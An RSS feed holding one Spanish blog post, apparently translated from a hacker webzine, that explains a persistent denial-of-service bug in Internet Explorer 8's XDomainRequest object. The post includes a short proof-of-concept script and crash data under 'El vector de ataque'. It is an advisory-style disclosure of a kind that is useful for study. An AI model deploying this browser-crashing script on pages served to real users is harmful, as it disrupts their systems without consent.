<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>denegacion-del-servicio &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://wordpress.com/tag/denegacion-del-servicio/</link>
	<description>Feed of posts on WordPress.com tagged "denegacion-del-servicio"</description>
	<pubDate>Thu, 21 Aug 2008 09:09:00 +0000</pubDate>

	<generator>http://wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[DoS persistente en Internet Explorer 8]]></title>
<link>http://hispasystem.wordpress.com/?p=114</link>
<pubDate>Mon, 31 Mar 2008 15:44:48 +0000</pubDate>
<dc:creator>hispasystem</dc:creator>
<guid>http://hispasystem.wordpress.com/?p=114</guid>
<description><![CDATA[Anteriormente ya habíamos visto un par de fallos de Internet Explorer 8, pero solo relacionados con]]></description>
<content:encoded><![CDATA[<p>Anteriormente ya habíamos visto un par de fallos de Internet Explorer 8, pero solo relacionados con el respeto a los estándares web (Véase: <a href="http://hispasystem.wordpress.com/2008/03/27/ie8-respeta-los-estandares/">IE 8 "respeta" los estándares</a>). Pero hoy, veremos un fallo de seguridad, enlazado con los ataques de denegación del servicio.</p>
<div style="text-align:center;"><img src="http://hispasystem.wordpress.com/files/2008/03/iexplorer8.gif" alt="Logo IE" height="300" width="300" /></div>
<p>Internet Explorer 8 es vulnerable al to <i>prototype hijacking</i> en el <a href="http://www.0x000000.com/?i=529">XDR Object</a>. El <a href="http://msdn2.microsoft.com/en-us/library/cc288060(VS.85).aspx">XDomain Request object</a> es una nueva característica de Internet Explorer 8, que permite las llamadas de <a href="http://en.wikipedia.org/wiki/XML">XML</a> entre dominios. Por defecto, la opción, permite cruzar llamadas entre dominios cuando ambas partes están de acuerdo en la petición, esto implica que el <a href="http://msdn2.microsoft.com/en-us/library/cc288108(VS.85).aspx">XDomainRequestAllowed</a> se adjunta a la respuesta del header del <a href="http://es.wikipedia.org/wiki/Host">host</a> en cuestión, al que se hace la solicitud.  Dado que se trata de un objeto muy peligros, <a href="http://www.0x000000.com/index.php?!=6">Ronald van den Heetkamp</a> fue a estudiar esta nueva función con el fin de examinar los aspectos de seguridad un poco más. No tardó mucho tiempo en encontrar un grave problema en relación con el <i>prototype hijacking</i> en el objeto <a href="http://msdn2.microsoft.com/en-us/library/cc288060(VS.85).aspx">XDomainRequest</a>, que conduce a un <a href="http://en.wikipedia.org/wiki/Denial-of-service_attack">Ataque de Denegación de Servicio</a> que solo puede recuperarse con un reinicio completo del sistema. La razón por la cual es vulnerable se debe a la característica de Internet Explorer, que trata de volver a crear una sesión de la ventana cuando se bloquea una ventana. Esto sucede automáticamente, sin las interferencias del usuario, y por tanto las denegaciones del servicio pueden ser persistentes.</p>
<p><b> El problema :</b></p>
<p>Se trata de un ataque muy similar al descrito en 2006 por Stefano Di Paola y Giorgio Fedon sobre <a href="http://en.wikipedia.org/wiki/XMLHttpRequest">XMLHttpRequest.</a> Desde entonces el creo un envoltorio que ejemplifica un nuevo objeto XDR cada vez que la variable 'xdr' es llamada. Evidentemente Internet Explorer se ahoga en ella, bloquea la ventana en la que estamos trabajando y luego la intenta volver abrir (Ver imagen 1)</p>
<p><b> Imagen 1 :</b></p>
<p><img src="http://hispasystem.wordpress.com/files/2008/03/xdr1.gif" alt="XDR 1" height="70" width="414" /></p>
<p>Como observamos en la figura 2,  tratamos de finalizar explore.exe en el administrador de tareas de windows, aparecen los resultados de un nuevo navegador que se lanzó al  tratar de lanzar una nueva ventana, después de finalizar  Internet Explorer, se inicia un nuevo navegador y se cuelga de nuevo, y así sucesivamente .</p>
<p><b>Imagen 2 :</b></p>
<div style="text-align:center;"><img src="http://hispasystem.wordpress.com/files/2008/03/xdr2.jpg" alt="XDR 2" /></div>
<p>Se comporta casi como un troyano, no podemos matar el proceso :(</p>
<p><b> El vector de ataque :</b></p>
<pre>&#60;script&#62;

// trying prototype hijacking here. 

xdr = XDomainRequest;xdr = function() {

return new XDomainRequest();

}

ping = 'hello';

xdr = new XDomainRequest();

xdr.open("POST", "http://cnn.com");

xdr.send(ping);

&#60;/script&#62;</pre>
<p><b> Crash data :</b></p>
<pre>AppName: iexplore.exe	 AppVer: 8.0.6001.17184	 ModName: ieframe.dll

ModVer: 8.0.6001.17184	 Offset: 0003f8cb</pre>
<p><b>Conclusión</b></p>
<p>Se necesita más investigación sobre el objeto XDR  para comprender perfectamente el riesgo de que esta nueva función. Dado el ataque y se realizó con el <a href="http://en.wikipedia.org/wiki/Proof_of_concept">PoC</a> en <a href="http://browserfry.0x000000.com/">Browserfry</a></p>
<p><b>Referencias &#38; Links de interés:</b></p>
<ul>
<li><a href="http://www.wisec.it/docs.php?id=4">Subverting Ajax</a> [Stefano Di Paola y Giorgio Fedon. PDF. Diciembre 2006].</li>
<li><a href="http://browserfry.0x000000.com">browserfry.0x000000.com</a></li>
<li><a href="http://msdn2.microsoft.com/en-us/library/cc288060(VS.85).aspx">XDomainRequest Object </a> [MSDN, Microsoft].</li>
<li><a href="http://www.w3.org/TR/access-control/"> Access Control for Cross-site Requests </a> [W3C Working Draft 14 February 2008].</li>
<li><a href="http://www.anieto2k.com/2008/03/09/xdomainrequest-y-como-microsoft-hace-lo-que-le-da-la-gana/">XDomainRequest() y como Microsoft hace lo que le da la gana </a> [aNieto2K].</li>
<li><a href="http://www.milw0rm.com/exploits/5268">Apple Safari (webkit) Remote Denial of Service Exploit (iphone/osx/win) </a> [Milw0rm].</li>
</ul>
<p><b>Vía :</b> <a href="http://www.0x000000.com/index.php">0x000000 # The Hacker Webzine</a></p>
<p><i><b>Traducción:</b></i> Edgar H.S. Group</p>
]]></content:encoded>
</item>

</channel>
</rss>
